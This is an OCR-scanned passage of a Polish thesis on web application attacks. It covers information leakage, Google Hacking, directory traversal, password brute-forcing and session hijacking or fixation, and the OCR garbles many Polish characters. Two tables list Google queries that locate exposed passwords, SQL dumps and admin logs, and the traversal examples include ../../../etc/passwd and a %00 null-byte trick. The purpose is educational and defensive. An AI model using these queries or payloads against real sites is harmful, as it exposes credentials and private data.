Komunikaty btedéw i1 komunikaty systemowe moga by¢ nieocenionym zrédtem
pozytecznych informacji na temat dziatania aplikacji, np. $ciezki dostgpu, kolumny

uzyte w zapytaniach, nazwy uzytkownikéw bazy danych, i wielu, wielu innych.

* Polecenia debugowania — niemal kazda aplikacja wykorzystuje mechanizmy
obserwacji dzialania i usuwania btgdow z programu (tzw. debugowania). Sa one
bardzo przydatne w czasie rozwoju oprogramowania, jednak pozostawione w
aplikacji moga prowadzi¢ do ujawnienia wielu informacji. Atakujacy moze znalez¢é
wyniki dziatania procesu debugowania bezposrednio w kodzie lub wymusi¢ wejscie
aplikacji w tryb debugowania poprzez modyfikacje adresu URL, np. w wielu
aplikacjach wystarczy dodanie do fancucha parametréw debug=on lub Debug=Yes

[OWASP02, s.51].

 Komentarze HTML - komentarze czgsto poprawiaja czytelno$¢ i usprawniaja

proces dokumentowania aplikacji, jednakze umieszczone bezposrednio w kodzie
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HTML moga okaza¢ si¢ cennymi wskazowkami dla wlamywacza [OWASPO02,
s.50]. Moze by¢ ich duzo i moga nie zawiera¢ zadnych cennych informacji lub moze
by¢ ich mato ale np. z hastami uzytkownikoéw czy tez opisami tabel uzywanych
podczas zapytan SQL [ScSh02, s.110]. Komentarze te moga by¢ umieszczane
bezposrednio przez programistow lub automatycznie w wygenerowanym kodzie
przez rdznego rodzaju programy 1 biblioteki pomocnicze [OWASP02, s.50].
Niemniej jednak, bez wzgledu na sposéb w jaki komentarze HTML znalazty si¢ w

kodzie, nalezy uzna¢ ta luke¢ za bardzo kompromitujaca.

Problem wycieku informacji mozna rozpatrywac¢ takze w innym aspekcie. Dotyczy on
ujawnienia ukrytych badz poufnych danych, plikow lub dokumentow, ktéore same w sobie
moga by¢ przedmiotem ataku lub tez moga przyczyni¢ si¢ do jego przeprowadzenia. Problem
nieuprawnionego dostepu do zasobdw, ktdre powinny pozosta¢ poufne, wynika gtownie z
faktu, ze umieszczane sa one w ramach gldwnego katalogu dokumentow WWW serwera. W
ten sposdb mozna uzyskaé do nich dostgp bezposrednio po wpisaniu doktadnego adresu URL
w oknie przegladarki. Mozliwe jest to wtedy, gdy mechanizm kontroli dostgpu nie obejmuje
wszystkich mozliwych punktow wejscia do systemu lub gdy dopuszcza on uzytkownika do
zasobow, do ktorych nie uzyskat wymaganych uprawnien podczas uwierzytelniania. Poza
tym, programisci zbyt cze¢sto zapominaja, ze nawet jesli do danego zasobu nie prowadza
zadne bezposrednie odnosniki ze strony, to wcale nie znaczy, ze nie jest on osiagalny dla
potencjalnych krakerow. Dokladny adres URL moze by¢ odnaleziony poprzez atak sitowy,
sprawdzanie istnienia popularnych nazw katalogéw i plikow (np. /admin), a takze analize
komunikatéw btedow [WASCO4a, s.13]. Elementy systemu informatycznego, ktérych

dotyczy ten rodzaj zagrozenia to :

* Pliki ukryte — wielu administratorow stron internetowych pozostawia na serwerze
pliki ukryte, np. pliki z przyktadami czy pliki instalacyjne, tymczasem mimo, Ze z
reguty nie prowadza do nich zadne odnosniki, to wciaz sa one dostgpne z poziomu
WWW [OWASPO02, s.51].

» Kopie zapasowe i pliki tymczasowe — wiele aplikacji pozostawia w katalogach pliki
kopii zapasowych 1 pliki tymczasowe [OWASP02, s.51], w wyniku czego,
podobnie do wspomnianych wyzej plikow ukrytych, sa one dostgpne dla
wszystkich. Szczegdlnym zagrozeniem jest uzyskanie dostgpu przez atakujacego do

kopi zapasowych, ktore to sa swoista skarbnica wiedzy o catej aplikacji.

* Tylne wejscia (backdoors) — przewaznie tworzone podczas fazy rozwijania

programu dla szybszego dokonywania zmian bezposrednio w aplikacji, poprzez
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umozliwienie uzyskania administratorskiego dostgpu do aplikacji bez procesu
autoryzacji i uwierzytelniania, jednakze bardzo czgsto zapomina si¢ o ich usunigciu

przed umieszczeniem aplikacji w Internecie [Grze04, s.61].

e Pliki zrédlowe — problem ujawnienia zawartosci plikow zrodtowych aplikacji
zazwyczaj jest wynikiem tego, ze dotaczane pliki czgsto maja rozszerzenia inc (od
angielskiego wyrazu include) 1 sa przechowywane w ramach gléwnego katalogu
aplikacji; serwer WWW nie rozpoznaje typu takich plikow i traktuje je jako
dokumenty zapisane zwyklym tekstem (text/plain); w rezultacie zawartos¢ pliku
moze by¢ wyswietlona bezposrednio w oknie przegladarki [Shif05a]. Ujawnienie
plikow Zrodlowych mozliwe jest takze, gdy plik posiada inne rozszerzenie np. php.
Wykorzystywana jest wtedy technika zwana Directory Traversal opisana w dalszej

czesci pracy.

Wystapienie zagrozenia wycieku poufnych informacji zazwyczaj jest efektem
niedopatrzenia lub braku doglebnej analizy aplikacji. Nie powinno to mie¢ miejsca, poniewaz
wszelkie luki w sterowaniu dostgpem, czy tez jakiekolwiek informacje zwracane przez
witryng moga okaza¢ si¢ kluczowe dla bezpieczenstwa catego systemu oraz danych przez

niego przechowywanych.

Google Hacking

Wyszukiwarka internetowa firmy Google jest obecnie jedna z najwigkszych dostepnych
na rynku. W jej zasobach zaindeksowane sa miliony odno$nikow do stron WWW na calym
$wiecie. Ponadto narze¢dzie to posiada szereg opcji, ktdre pozwalaja na kompleksowe i
zaawansowane wyszukiwanie. Moze to by¢, 1 czgsto jest, wykorzystane przez krakerow.
Dzigki odpowiednio spreparowanym zapytaniom atakujacy moze uzyska¢ wiele przydatnych

informacji na temat witryny.

Ten rodzaj ataku uzyskal nawet wilasna nazwe : Google Hacking. Co prawda, do tego
samego celu moga by¢ uzyte tez inne wyszukiwarki dostgpne w Internecie, nie tylko Google,
lecz to wlasnie produkt tej firmy wydaje si¢ oferowaé najlepsza funkcjonalno$¢ i najwigksza

lo$¢ odnosnikow przechowywanych w swoich zasobach.
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Zapytanie

Rezultat

"Access denied for user"
"Using password"

Bledy autoryzacji — moga zawiera¢ nazwy uzytkownika,
nazwy funkcji, informacje o uktadzie plikow i fragmenty kodu
SQL.

"The script whose uid is"
"is not allowed to
access"

Bledy PHP zwiazane z kontrola dostgpu — moga zawieraé
nazwy plikow, nazwy funkcji i informacje o uktadzie plikow.

"#mysqgl dump"
filetype:sql

Bledy bazy MySQL — moga zawiera¢ informacje o strukturze
i zawarto$ci bazy danych.

"Warning: mysql _
query()" "invalid
query"

Bledy bazy MySQL — moga zawiera¢ nazwy uzytkownikow,
nazwy funkcji, nazwy plikow i informacje o uktadzie plikow.

"Error Message : Error
loading required
libraries."

Bledy skryptow CGI — moga zawiera¢ informacje o rodzaju
systemu operacyjnego 1 Wwersji oprogramowania, nazwy
uzytkownikdéw, nazwy plikoéw oraz informacje o uktadzie
plikow w systemie.

Tabela 5: Przyktadowe polecenia wyszukiwarki Google, ktorych celem jest odnalezienie stron

wyswietlajacych komunikaty bledow

Zrédto: [Piot05]

Zapytanie

Rezultat

"robots.txt" +
"Disallow:" filetype:txt

Pliki robots.txt zawierajace informacje o zasobach ukrytych
przed indeksowaniem przez wyszukiwarki.

inurl:phpinfo.php
filetype:php

Podstrony pokazujace konfiguracj¢ PHP na danym serwerze.
Wiele przydatanych danych, od ustawien poszczegdlnych
parametrow po zainstalowane rozszerzenia.

pass | password
inurl:config.inc
filetype:inc

Pliki config.inc, ktére bardzo czgsto uzywane sa przez
programistow ~ PHP  do  przechowywania  danych
konfiguracyjnych, m.in. haset dostgpu do bazy danych.

"admin account info"
filetype:log

Dzienniki zdarzen serwera (tzw. logi) zawierajace informacje
dotyczace konta administratora, w tym nazwe uzytkownika i
hasto.

"#mysqgl dump"
filetype:sql

Pliki zawierajace zrzuty baz danych MySQL.

filetype:sql "insert
into" (pass|passwd|

password)

lub

filetype:sqgl ("values *
MD5" | "values *
password" | "values *
encrypt")

Kopie zapasowe lub pliki instalacyjne bazy danych MySQL,
zawierajace zaro6wno strukture bazy danych jak i dane, w tym
takze nazwy i hasta uzytkownikow.

"not for public release"
-.gov -.mil

Dokumenty, ktore zawieraja wiele poufnych informacji, do
ktorych nie powinny mie¢ dostgpu nieuprawnione osoby. W
niniejszym  przykladzie  przeszukiwane sa  zasoby
zgromadzona na amerykanskich stronach rzadowych USA, w
tym Ministerstwa Obrony.

Tabela 6: Przyktadowe polecenia wyszukiwarki Google przydatne krakerom

Zrédto: Opracowanie wlasne na podstawie [WWWS]
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Jak wspomniano w poprzednim punkcie jednym z elementdw, na ktory nalezy zwrdcié
uwage podczas analizy bezpieczenstwa aplikacji, sa komunikaty btedow. Google bardzo

tatwo moze postuzy¢ atakujacemu do odnalezienia luk tego typu (zob. tabela 5).

Poza komunikatami btedow, Google moze si¢ okaza¢ bardzo dobrym narzgdziem do
wyszukiwania wielu innych przydatnych informacji, takich jak hasta, struktura bazy danych,
dane konfiguracyjne, ukryte i poufne pliki i katalogi, tajne dokumenty i wiele wiele innych.
W ogoélnodostepnej bazie Google Hacking [WWWS8] znajduje si¢ obecnie ponad 1400
konkretnych 1 gotowych zapytan, ktore moga by¢ wykorzystane do odnalezienia przerdéznych
informacji utatwiajacych przeprowadzanie ataku na aplikacj¢. W tabeli 6 przedstawiono tylko

czes¢ z nich.

Niektore zrodta [SzWi06, s.261] zalecaja ochrong przed indeksowaniem strony poprzez
uzycie pliku robots.txt. Umozliwia on wskazanie tych plikow i katalogow, ktore nie powinny
by¢ zapisywane w bazie odno$nikoéw wyszukiwarki. Niestety, o ile plik ten rzeczywiscie
moze stanowi¢ czgsciowa ochrong przed atakami typu Google Hacking, o tyle jest przyczyna
pojawienia si¢ innej luki. Problem polega na tym, ze plik ten jest ogdlnie dostgpny, takze dla
potencjalnych wlamywaczy, w wyniku czego moga oni poznaé¢ nie tylko strukturg witryny,
ale 1 lokalizacj¢ poufnych plikow chronionych przed indeksowaniem przez roboty
wyszukiwarek internetowych. Co wigcej, Google moze by¢ takze z powodzeniem
wykorzystane do odnajdywania stron, ktore uzywaja robots.txt (zob. tabela 6). Nie ulega wigc
watpliwo$ci, ze nalezy szuka¢ innych sposobow zabezpieczania witryny przed atakami

wykorzystujacymi wyszukiwarki internetowe.

Ujawnienie plikow zrédlowych

Ujawnienie plikow zZroédlowych 1 innych zasoboéw sktadowanych lokalnie na serwerze
mozliwe jest dzigki technice zwanej Directory Traversal. Na atak ten podatne sa wszelkie
skrypty korzystajace z plikow szablonéw lub w jaki$ inny sposoéb odwotujace si¢ do plikow
na serwerze [ScSh02, s.207]. Atak ten przebiega poprzez manipulacj¢ tancuchem zadania.

Nie wystgpuje powszechnie uzywany polski odpowiednik terminu Directory Traversal.
W literaturze angielskojezycznej uzywa si¢ takze okreslen Path Traversal [WASC04a, s. 52]
oraz Path Disclosure [OWASP02, s.40].

Podstawowa forma ataku Directory Traversal jest przejscie poza gldwny katalog witryny,
aby uzyska¢ dostgp do plikow systemowych, np. ../../../etc/passwd [ScSh02, s. 207].

Jednak atak moze by¢ takze wykorzystany do ujawnienia zasobow i plikow zrodtowych w
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ramach gltownego katalogu strony WWW, np. zamierzonym efektem po wpisaniu adresu
http://strona.pl/index.php?dzial=glowny.htm moze by¢ wyswietlenie gléwnego
szablonu znajdujacego si¢ w pliku glowny.htm. Tymczasem atakujacy moze
zmodyfikowa¢ parametr dzial i umiesci¢ nazwe¢ dowolnego innego pliku w ramach serwera,
w rezultacie powodujac wyswietlenie go w przegladarce. W tej sytuacji pewnym
rozwigzaniem wydaje si¢ by¢ wymuszenie rozszerzenia pliku, jednak nie zawsze jest to
skuteczne, poniewaz napastnik moze umiesci¢ w adresie znak pusty NULL (%00), ktéry
oznacza koniec ciagu [ScSh02, s.208-209]. W trakcie przetwarzania takiego ciagu, w ktorym
zostal umieszczony znak pusty, wszystkie znaki znajdujace si¢ po nim zostana obcigte, w

rezultacie czyniac powyzsze zabezpieczenie bezuzytecznym.

Dopuszczenie potencjalnych krakerow do plikoéw zrodtowych aplikacji stanowi
niewatpliwie powazne zagrozenie. W ten sposdb moga oni doglebnie poznaé nie tylko
strukture 1 budowe witryny, ale 1 szczegdtowe informacje na temat zastosowanych technik, a

takze dane uzywane do ustanowienia potaczenia z baza danych.
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ATAKI NA MECHANIZMY UWIERZYTELNIANIA I ZARZADZANIA SESJA

UZYTKOWNIKA

Mechanizmy uwierzytelniania i zarzadzania sesja uzytkownika stanowia nieodlaczny
element kazdej wigkszej internetowej aplikacji bazodanowej. Jesli nie podjgto
wystarczajacych krokéw w celu ich zabezpieczenia, napastnik moze uzyska¢ poziom
uprawnien, ktory pozwoli mu na wykonania operacji zagrazajacych bezpieczenstwu zarowno

catego systemu jak i uzytkownikow z niego korzystajacych.
Ataki na proces uwierzytelniania

Uwierzytelnianie uzytkownikéw mozna zdefiniowac jako proces weryfikacji czy dany
uzytkownik jest ta osoba, za ktora si¢ podaje [OWASP02, s.16]. Najpopularniejszym
sposobem uwierzytelniania uzytkownikéw w Internecie sa obecnie hasla. Niestety ciagle
obserwowany jest wzrost efektywno$ci rozmaitych programow do tamania szyfrowanych
haset [KLGO03, s.393].

Wyréznia si¢ dwa podstawowe sposoby tamania haset [SGTO0S5, s.229] :
* Atak stownikowy (dictionary attack) - zautomatyzowany atak skierowany

przeciwko systemowi uwierzytelniania, ktoéry polega na sprawdzeniu kolejnych,

gotowych hasetl znajdujacych si¢ w bazie danych, tzw. stowniku,

» Atak sitowy (brute-force password attack) - polega na omijaniu zabezpieczen
systemu przez podejmowanie prob zalogowania si¢ przy uzyciu kazdego
dopuszczalnego hasta; w tej metodzie analizowany jest kazdy mozliwy przypadek.

Bez wzgledu na szczegdétowe nazwy tych atakow, nalezy je traktowac jako techniki
sitowe, czyli takie, ktore w drodze zautomatyzowanego procesu metoda prob i bledow

probuja odgadna¢ dane uwierzytelniajace.
Wedhug innego podziatu mozna wyrdzni¢ nastgpujace ataki sitowe [WASCO04a, s.11] :

* Zwyczajne ataki sitowe (normal brute force attacks) — atakujacy uzywa nazwy

uzytkownika i dopasowywuje do niego hasta.
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* Odwrocone ataki sitowe (reverse brute force attacks) — atakujacy uzywa jednego
hasta i dopasowuje do nich nazwy uzytkownikéw. W systemach z milionami kont,
prawdopodobienstwo tego, ze wielu uzytkownikow posiada to samo hasto jest

wysokie.

Wartym odnotowania jest fakt, ze atak silowy z reguly wymaga duzych nakladow
czasowych, co moze by¢ czgsto zniechgcajacym czynnikiem dla napastnika. Kluczowa rolg

odgrywa stopien skomplikowania haset przechowywanych w systemie.

Specyficzna odmiana zagrozen zwiazanych z procesem uwierzytelniania sa ataki
socjotechniczne. Najwigkszy problem polega na tym, Ze nie sa to ataki techniczne, a jedynie
proby naktaniania uzytkownikéw do wykonania nierozsadnych dziatan [Schl04, s.332].

Najczgsciej przyjmuja nastepujaca forme [Schl04, s.332] :

* Podawanie si¢ za administratora systemu i1 wysylanie wiadomos$ci poczty

elektronicznej do uzytkownikow z prosba o podanie hasel.

* Utworzenie lustrzanej kopii strony logowania witryny i naktanianie uzytkownikéw
do préb logowania (Phishing).

Wyzej wymienione formy ataku czg¢sto sa tez ze soba taczone. Ochrona przed tego typu
zagrozeniami na poziomie aplikacji jest niemozliwa. Praktycznie jedyne, co mozna zrobi¢, to

uswiadomi¢ uzytkownikow o istniejacym niebezpieczenstwie tak, aby starali si¢ go unikac.

Ataki na sesje uzytkownika

Mechanizm zarzadzania sesja jest powszechnie stosowany w celu identyfikacji i
$ledzenia uzytkownika pomigdzy kolejnymi podstronami. W rezultacie nie musi on podawac
swoich danych uwierzytelniajacych - z reguly nazwy i hasla - przed obejrzeniem kazdej
podstrony w ramach danej witryny. Uzytkownikowi przydzielany jest unikalny identyfikator,
dzicki ktéremu aplikacja jest w stanie go rozpoznaé, odczyta¢ i przydzieli¢ odpowiedni
zestaw uprawnien lub innych danych specyficznych dla niego. Duza grupa zagrozen
dotyczacych mechanizmu autoryzacji ma zwiazek wiasnie z tym identyfikatorem ses;ji.
Uzycie przez atakujacego tego samego identyfikatora co prawowity uzytkownik prowadzi
bowiem do nieuprawnionego dostepu do aplikacji i wykonania operacji w jego imieniu.

Wyréznia si¢ kilka atakow 1 zagrozen zwiazanych z sesjami. Naleza do nich
przechwycenie sesji, wymuszenie sesji, ujawnienie danych sesji, podmiana catej sesji oraz

podmiana danych sesji.
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Przechwycenie sesji (Session Hijacking) odnosi si¢ do tych atakow, ktére prébuja
uzyska¢ dostgp do istniejacej sesji uzytkownika [Shif04b, s.42]. Oznacza to tych
uzytkownikéw, ktorym identyfikator zostat juz przydzielony. Znane sa dwie podstawowe

metody uzyskania identyfikatora sesji :

(1) Domniemanie sesji — mozna zaliczy¢ tu nastepujace sposoby : wykorzystanie
podatnosci aplikacji na atak Cross Site Scripting [Kols02, s.15], odczytanie
identyfikatora sesji z nagléwka HTTP Referer wysylanego do innego serwera
[Ollm03] czy tez odgadnigcie identyfikatora; ostatni z wymienionych sposobdw
staje si¢ mozliwy, gdy identyfikator nie jest wystarczajaco losowa wartoscia;
istnieje wiele technik matematycznych, np. prognozowanie matematyczne, ktore
moga by¢ zastosowane do odgadywania przewidywalnych, czasem sekwencyjnych,
identyfikatorow sesji [ScSh02, s.155]. Do odgadnigcia mozna zastosowac takze atak
sitowy — jest on skuteczny, gdy atakujacy jest w stanie okres§li¢ ograniczony zbior
mozliwych identyfikatoréw lub gdy zakres generowanych identyfikatorow jest

stosunkowo waski, np. liczba ze zbioru od 1 do 10000 [Olse04, s.12].

(2) Podstuchiwanie ruchu sieciowego — napastnik, ktory ma mozliwo$¢ monitorowania
ruchu sieciowego pomigdzy atakowanym uzytkownikiem a serwerem, moze
wykras¢ identyfikator sesji, poniewaz jest on przesytany tekstem jawnym [Olse04,

s.11], ale tylko wtedy, gdy nie zastosowano bezpiecznego potaczenia SSL.

Kolejny rodzaj ataku, okre§lany terminem “wymuszenie sesji” (Session Fixation), rdzni
si¢ od opisanych wyzej technik tym, Ze napastnik nie skupia swojej uwagi na zdobyciu
identyfikatora sesji ofiary, a raczej na sklonieniu ofiary do uzycia identyfikatora okre§lonego
przez niego samego [Olse04, s.12]. Innymi slowy, uzytkownik zostaje nieswiadomie
skloniony do uzycia sesji zainicjowanej przez atakujacego. Atak ten przebiega w trzech
krokach [Kols02; Esse05] :

(1) Ustanowienie sesji — w pierwszym kroku atakujacy tworzy losowy identyfikator
sesji lub rozpoczyna nowa sesj¢ na docelowym serwerze i pozyskuje z niej
identyfikator; zazwyczaj musi on utrzymywaé sesje przez wielokrotne wysytanie
zadan, aby uniknac¢ jej wygasnigcia,

(2) Wymuszenie sesji — atakujacy przekazuje ofierze ustalony identyfikator (zob.
rysunek 6, krok 1); przekazanie to moze si¢ odby¢ na wiele sposobéw m.in. moze
on wykorzysta¢ techniki polegajace na iniekcji 1 wykonaniu wrogiego kodu, np.
Cross Site Scripting; moze takze po prostu skloni¢ ofiar¢ do uruchomienia

odpowiednio spreparowanego odnosnika lub formularza HTML,
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(3) Uzyskanie dostgpu — w ostatnim kroku atakujacemu pozostaje tylko czeka¢, az
ofiara zaloguje si¢ do aplikacji uzywajac ustalonego identyfikatora (zob. rysunek 6,
krok 2), po czym wykorzystujac ten sam identyfikator atakujacy moze podszy¢ si¢
pod ofiarg (zob. rysunek 6, krok 3).

GET Iindex.php?PHPSESSID=1234 HTTP/f1.1
Host: host

Atakujacy :I-IT'I'P.-":I. 1 200 OF

<html>

<a href="http://host/index.php?EHPSESSID=1234%>
(:) Cclick hera
{fa,‘i-

</ hitml>

Strona

GET /index.php?PHPSESSID=1234 HTTE/1.1
Host: host
HTTP/1.1 200 OE
Ofiara

Rysunek 6: Przebieg ataku wymuszenia sesji
Zrédto : [Shif04a]

Nieco innym rodzajem zagrozen sa : ujawnienie danych sesyjnych oraz podmiana calej
sesji. Oba wykorzystuja dos¢ kontrowersyjna ceche jezyka PHP. Ot6z w standardowej
konfiguracji, PHP zapisuje sesje w pliku, w tym samym katalogu (w przypadku systemu
operacyjnego Linux jest to katalog tymczasowy /tmp), w wyniku czego w $rodowiskach
wspotdzielonych wiele osob zapisuje dane sesyjne w tym samym miegjscu 1 z tymi samymi
uprawnieniami [Jaku03]. Atakujacy moze to wykorzysta¢ do podmiany pliku sesji lub danych
w nim zawartych. Testy dowodza, ze w ten sposob skonfigurowanych jest wiele kont u wielu

dostawcow ustug hostingowych, a takze serweréw uczelnianych [Mrug06, s. 75]. Jednakze
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problem nie dotyczy tylko srodowisk wspotdzielonych. Ujawnienie plikow sesji jest mozliwe
bowiem takze np. przy uzyciu Directory Traversal, natomiast do modyfikacji tych plikow
mozna wykorzysta¢ chociazby podatnos¢ aplikacji na iniekcje polecen systemowych.

Ostatnie z zagrozeh opisywanych w niniejszym punkcie, czyli atak polegajacy na
podmianie danych sesji (ang. Session Injection) nie do konca zwigzany jest z samym
mechanizmem zarzadzania sesja. O wiele bardziej dotyczy zagrozen iniekcji ztosliwego kodu
oraz manipulacji parametrami wejSciowymi. Podmiana danych sesji polega na
nieautoryzowanym rejestrowaniu zmiennych w sesji [Jaku03]. Atak ten mozliwy jest wtedy,
gdy zmienne sesyjne inicjowane lub modyfikowane sa na podstawie danych pochodzacych od

uzytkownika, a weryfikacja tych danych jest niewystarczajaca.

Jak pokazuja wyzej omdéwione zagrozenia zwiazane z poprawnym uwierzytelnianiem i
identyfikacja uzytkownika, kwestia ochrony tych mechanizméw nie powinna by¢
lekcewazona, tym bardziej ze standardowy mechanizm sesji zaimplementowany w PHP nie
daje wystarczajacego poziomu bezpieczenstwa. Dodatkowo mozliwo$¢ wykorzystania innych
technik ataku na aplikacje¢ internetowe w celu przejecia sesji uzytkownika, pokazuje, ze na
bezpieczenstwo stron WWW powinno si¢ patrze¢ cato§ciowo z szczegdlnym naciskiem na
metody wykorzystujace wstrzykiwanie wrogiego kodu. Metody te bowiem bardzo czgsto staja

si¢ skutecznym $rodkiem w przeprowadzanych atakach.
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PoDSUMOWANIE

Obecnie niemal codziennie pojawiaja si¢ doniesienia o nowych dziurach i lukach w
dostgpnych systemach, nie rzadziej tez informacje o wlamaniach na réznorakie witryny
internetowe. Nie tylko osoby odpowiedzialne za bezpieczenstwo, ale 1 sami programisci,
zmuszeni sa do ciagtego monitorowania sytuacji, §ledzenia stanu badan, zaznajamiania si¢ z
ogltaszanymi publicznie podatnos$ciami i lukami w aplikacjach internetowych. Niestety wciaz
wielu programistow nie chce lub po prostu nie potrafi zapewni¢ odpowiedniego poziomu
bezpieczenstwa tworzonego przez nich oprogramowania. Niektorzy nie sa wystarczajaco
zaznajomieni 1 nie do konca rozumieja specyfiki Internetu i jego otwartego charakteru. W
efekcie to wihasnie krakerzy czgsto dysponuja wieksza wiedza od nich i wykorzystuja ja

bezwzglednie w atakach na stabo zabezpieczone witryny.

W dokumencuie doglebnie omoéwiono zagrozenia, na ktore narazone sa aplikacje
webowe. W sposob wyczerpujacy przedstawiono najgrozniejsze 1 najdotkliwsze z nich, czyli
ataki SQL Injection, Cross Site Scripting, Cross Site Request Forgeries oraz rd6zne odmiany
atakow na sesje uzytkownika. Mimo do$¢ obszernego podejscia do tematu, w petni go jednak
nie wyczerpano. Migdzy innymi ograniczono si¢ do poziomu aplikacji produkcyjnych,
tymczasem aplikacje te nie dzialaja w oderwaniu od swojego srodowiska i bezposredniego
otoczenia. Kazdy element, sie¢, serwer, system operacyjny maja wplyw na bezpieczenstwo
samej aplikacji. Na nic si¢ zdadza.odpowiednie zabezpieczenia w kodzie programu, jesli

dostep do serwera czy systemu operacyjnego mozna uzyskac¢ niewielkim naktadem srodkow.

Warto pamigtac, ze bezpieczenswo jest pojeciem wzglednym. Okreslenie odpowiedniego
poziomu ochrony zalezy od postawionych wymagan, przy czym nie istnieja i niemozliwe jest
stworzenie systemOw catkowicie bezpiecznych, a czgsto ostatecznie obrany poziom
bezpieczenstwa jest tylko i wylacznie wynikiem kompromisu z innymi czynnikami bardzo
istotnymi w procesie budowania internetowych aplikacji bazodanowych, takimi jak koszta,

funkcjonalno$¢, czy wydajnos¢.
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wyjasni¢ innym warunki licencji, na ktorej udostepnia si¢ utwor.

Kazdy z tych warunkéw moze zosta¢ uchylony, jesli uzyska si¢ zezwolenie

wlasciciela praw autorskich.

Niniejszy tekst nie jest licencja, a jedynie przedstawieniem kluczowych warunkow

licencji w sposob zwigzly i przejrzysty. Wlasciwy tekst licencji mozna znalez¢ pod adresem

http://creativecommons.org/licenses/by-nc-sa/2.5/pl/legalcode.
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